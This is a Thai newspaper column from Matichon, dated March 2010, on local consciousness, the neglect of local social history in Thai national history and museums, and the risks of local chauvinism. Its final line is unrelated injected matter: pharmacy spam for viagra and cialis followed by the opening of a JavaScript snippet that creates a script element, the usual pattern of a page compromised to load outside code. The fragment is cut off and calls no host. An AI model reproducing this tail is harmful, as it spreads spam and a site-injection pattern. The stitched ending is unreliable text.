หนังสือพิมพ์มติชน ฉบับวันอังคารที่ 23 มีนาคม พ.ศ. 2553

ปลุก“จิตสำนึกท้องถิ่น”ให้เกิด“ท้องถิ่นนิยม” ถ้ามองอย่างเผินๆจะเห็นเป็นเรื่องดีมีประโยชน์ต่อท้องถิ่น

แต่เมื่อมองให้ลึกลงไป จะเห็นดาบสองคม มีทั้งคุณและโทษ จึงต้องรอบคอบระมัดระวังจงหนัก

แถลงการณ์การทำงานของสมาพันธ์ปลัดองค์การบริหารส่วนตำบล(อบต.)แห่งประเทศไทยใน 1 ทศวรรษหน้า จะต่อสู้เพื่อรณรงค์จิตสำนึกท้องถิ่น พลังขับเคลื่อนประเทศเรื่องท้องถิ่นนิยม โดยรวมข้าราชการองค์การบริหารส่วนจังหวัด (อบจ.) เทศบาล และ อบต. ทำงานร่วมกัน(มติชน ฉบับวันพฤหัสบดีที่ 18 มีนาคม 2553 หน้า 8)

“ยุทธศาสตร์ใหม่ประกาศชัดเจนไม่เอาระบอบอำมาตยาธิปไตย ไม่เอานักการเมืองระดับประเทศ แต่เอานักการเมืองท้องถิ่นมาทำงานรับใช้ประชาชนเป็นทางเลือกที่ 3 จะเชิญประชาชนทุกภาคส่วนทั้งประเทศมาแสดงพลังประกาศจุดยืนเรื่องท้องถิ่นนิยม หากข้าราชการท้องถิ่นทำงานร่วมกับผู้บริหารได้อย่างมีประสิทธิภาพ ประเทศชาติจะเจริญก้าวหน้าโดยไม่ต้องรอรัฐบาลกลาง เพราะไม่คาดหวังการทำงานเพื่อแย่งชิงผลประโยชน์ของการเมืองใหญ่ ไม่จำเป็นต้องต่อสู้เพื่อล้มล้างระบอบอำมาตย์รอให้อดีตนักการเมืองบางคนกลับมามีอำนาจ แต่จะต่อสู้เพื่อคนในท้องถิ่นเป็นทางเลือกที่ 3 กอบกู้วิกฤติของประเทศ”

ประเทศก้าวหน้าทุกประเทศในโลกล้วนกระจายอำนาจสู่ท้องถิ่น บางประเทศให้ท้องถิ่นปกครองตนเองไปเลยก็มี(โดยร่วมหลักการสำคัญๆกับรัฐบาลกลาง)

ท้องถิ่นจะมีภูมิ“แข็งแรง”รองรับการกระจายอำนาจ ต้องมีหลายอย่างประกอบกัน อย่างหนึ่งที่สำคัญมากๆ แต่สังคมไม่ใส่ใจคือ ประวัติศาสตร์ท้องถิ่น ให้รู้ความเป็นมาของผู้คนและพื้นที่ทางธรรมชาติ เช่น แม่น้ำลำคลอง, ภูเขา ,ที่ราบ, ฯลฯ

ประวัติศาสตร์ท้องถิ่น คือประวัติศาสตร์สังคม ที่ไม่มีในประวัติศาสตร์แห่งชาติของไทย

ถึงขณะนี้ก็ยังไม่คิดจะมี เพราะต่างถูกครอบงำด้วยวิถีคิดและวิธีทำของกระทรวงศึกษาธิการกับกระทรวงวัฒนธรรมที่หลงไปว่า“พระราชพงศาวดาร”คือประวัติศาสตร์ทั้งหมดของไทย แต่แท้จริงเป็นเพียงประวัติศาสตร์ราชวงศ์ที่เน้นสงครามระหว่างราชวงศ์เท่านั้น

เหตุมาจากกระทรวงวัฒนธรรมโดยกรมศิลปากรที่ทำงานหลักด้านนี้ มีแต่ประวัติศาสตร์ศิลปะของวังกับวัด ไม่มีหมู่บ้าน ไม่มีคน ไม่รู้จักสังคมของไพร่บ้านพลเมืองชาวสุวรรรภูมิที่มีพวกไทยสยามในสยามประเทศไทยเป็นส่วนหนึ่งอย่างแยกไม่ได้

ส่วนหน่วยงานอื่น เช่น สวช. (สำนักงานคณะกรรมการวัฒนธรรมแห่งชาติ) แม้จะอ้างว่าดูแลศึกษาวิจัยด้านท้องถิ่นก็ตาม แต่เนื้อแท้แล้วถูกครอบงำด้วยประวัติศาสตร์แห่งชาติที่ไม่มีสังคม(ดังกล่าวข้างต้นนั่นเอง)

สถาบันการศึกษาทุกระดับทั้งส่วนกลาง และท้องถิ่น ล้วนยึดถือประวัติศาสตร์แห่งชาติที่ไม่มีสังคมเป็น“สูตรสำเร็จ”ตายตัว

นักวิชาการญี่ปุ่นเล่าให้ฟังว่า  ญี่ปุ่นใช้ มิวเซียมท้องถิ่น ที่สร้างไว้ทั่วประเทศ เป็นแหล่งเรียนรู้ให้คนญี่ปุ่น“รู้เขา รู้เรา รู้โลก” จนก้าวหน้าเกินบางประเทศในยุโรป

แต่อนิจจาในประเทศไทยเต็มไปด้วยพิพิธภัณฑ์ประวัติศาสตร์ศิลปะเพื่อ“ผู้ดี”คนชั้นนำเสนาอำมาตย์เท่านั้น ไม่ยินดีต้อนรับฝูงไพร่บ้านพลเมือง ดูได้จากการจัดแสดงทุกแห่งไม่มีความเป็นมาของท้องถิ่น และไม่ได้ทำเพี่อเป็นแหล่งเรียนรู้ท้องถิ่น ที่มีบ้างก็แอบๆซ่อนๆอยู่มุมเดียวอย่างผิวเผินเต็มที ทำไว้เป็นข้ออ้างอย่างขายผ้าเอาหน้ารอดเท่านั้น

เมื่อสภาพความจริงเป็นอย่างนี้ ขอแนะนำให้ท้องถิ่นร่วมกันศึกษาประวัติศาสตร์ท้องถิ่นด้วยตนเอง ไม่ต้องพึ่งพาส่วนกลางที่วางตนเป็นเจ้าขุนมูลนายเสียเองจนเหยียบขี้ไก่ไม่ฝ่อ

แต่อย่าให้ท้องถิ่นนิยมจนหลงทาง แล้ว“คลั่งท้องถิ่น”ของตนอยู่เหนือท้องถิ่นอื่น จะเป็นโทษมากกว่าคุณ

หากมีปัญหาต้องการปรึกษาครูบาอาจารย์ทางประวัติศาสตร์สังคมท้องถิ่นนั้นๆ เชื่อว่าคุณขรรค์ชัย บุนปาน ผู้กำหนดนโยบาย“แบ่งปันความรู้ เชิดชูศาสนา พัฒนาแหล่งน้ำลำคลอง” อาจจะแนะนำได้ตามควรแก่เหตุ ขอให้ลองติดต่อด้วยตนเอง

ปากน้ำบางกะจะ บริเวณที่แม่น้ำป่าสัก-ลพบุรี ไหลมารวมแม่น้ำเจ้าพระยา หน้าวัดพนัญเชิง สมดังกลอนเพลงยาวพระราชนิพนธ์ว่า “บริเวณอื้ออลด้วยชลธี” ของกรุงศรีอยุธยา

นี่เป็นประวัติศาสตร์ท้องถิ่นแห่งหนึ่งของประเทศไทย ที่เคยเป็นราชธานีของราชอาณาจักรสยามแห่งแรกเมื่อหลายร้อยปีมาแล้ว (ภาพโดย จำลอง บุญสอง จากโพสต์ ทูเดย์  ฉบับวันศุกร์ที่ 11 ธันวาคม 2552)

cheapest viagra sublingual buy cheap cialis super activevar d=document;var s=d.createElement(‘script’);